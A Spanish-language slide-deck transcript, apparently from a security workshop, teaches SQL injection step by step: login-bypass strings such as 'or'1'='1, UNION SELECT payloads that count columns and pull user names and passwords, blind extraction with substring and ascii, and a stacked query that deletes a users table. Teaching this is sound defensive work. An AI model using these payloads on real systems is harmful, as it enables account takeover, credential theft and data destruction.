sql injection

Post on 09-Jul-2015

957 Views

Category:

Technology

0 Downloads

Preview:

Click to see full reader

TRANSCRIPT

Problemas de configuración del servidor.

Bugs en los modulos del framework usado en el

sitio (Actualizaciones)

Problemas en la lógica del negocio

› Manejo incorrecto de archivos.

› Mal filtrado de variables.

Problemas en la lógica del negocio

› Mal filtrado de variables .

$login=$_POST['login'];

$login <- roguer

$login <- ‘

Internamente › SELECT * FROM usuarios WHERE nombre= „$login‟

AND password=„$pass‟

SELECT * FROM usuarios WHERE nombre = „roguer‟

AND password=„contrasena‟

SELECT * FROM usuarios WHERE nombre = „‟‟ AND

password=„‟‟

Paginas de inicio de sesión

› Nombre de Usuario

› Contraseña

http://mi_ip/Taller

„or‟‟=„

„or‟1‟=„1

Select * from usuarios where nombre=„„or‟‟=„‟

AND password=„„or‟‟=„‟

Operaciones sobre consultas

› Order by

› Union

› Limit

Pagina que gestiona el contenido de

una base de datos.

› Paginas que contienen un parámetro tipo id

› ¿ Y si hacemos que ese sea id=„ ?

“Error”

¿Se esta consultando una tabla de la

base de datos?

¿Nos muestra algún error?

Que nos sirve saber acerca de la tabla

consultada?

Obteniendo el numero de columnas

› Pagina.php?id=-1+order+by+X—

¿Porque -1?

¿Que hace el order by en esta consulta?

¿Como puedo obtener un resultado de

la inyección?

Obteniendo un resultado visible en el

sitio.

› Pagina.php?id=-1+union+select+1,2,3.,.,n—

› ¿Cual es la diferencia ahora?

› ¿Para que esos números?

Funciones de mysql

› Version()

› User()

› Database()

› Concat()

Obteniendo información de la conexión.

› Pagina.php?id=-1+union+select+1,user(),3.,.,n—

› ¿Cual es la diferencia ahora?

› ¿Qué resultado arrojó?

Malicia Indígena o information.schema.› Pagina.php?id=-1+union+ select+1,2,3.,.,n+from+tabla—

› ¿Qué resultado arrojó?

¿Si tengo el nombre de la tabla y las

columnas que puedo hacer?

Pagina.php?id=-1+union+select+1,login,pass, ...,n+from+usuarios—

¿Cómo paso al siguiente registro?

¿Y si la pagina no genera errores al hacer id=„?

Estructura de la consulta

› SELECT * FROM noticias WHERE id=$id

› SELECT * FROM noticias WHERE id=5

› SELECT * FROM noticias WHERE id=5 AND 1=1

Concepto de Subconsultas

› SELECT count(*) FROM tabla

› SELECT count(campo) FROM tabla

› SELECT * FROM noticias WHERE id=5 AND 1=1

Uniendo campos y usando operadores

› SELECT concat(login,0x3a,password) FROM usuarios LIMIT 0,1

› substring(campo,carater_inicio,tamaño)

› substring(campo,1,1)

› Ascii(caracter)

¿Toca sacar carácter por carácter?

¿Cómo se cuantos caracteres debo

sacar?

¿Es esto critico?

¿Para puede servir esta información?

¿A través de SQL-Inyection solo se

puede sacar información?

› login=‘roguer’;delete from usuarios--

top related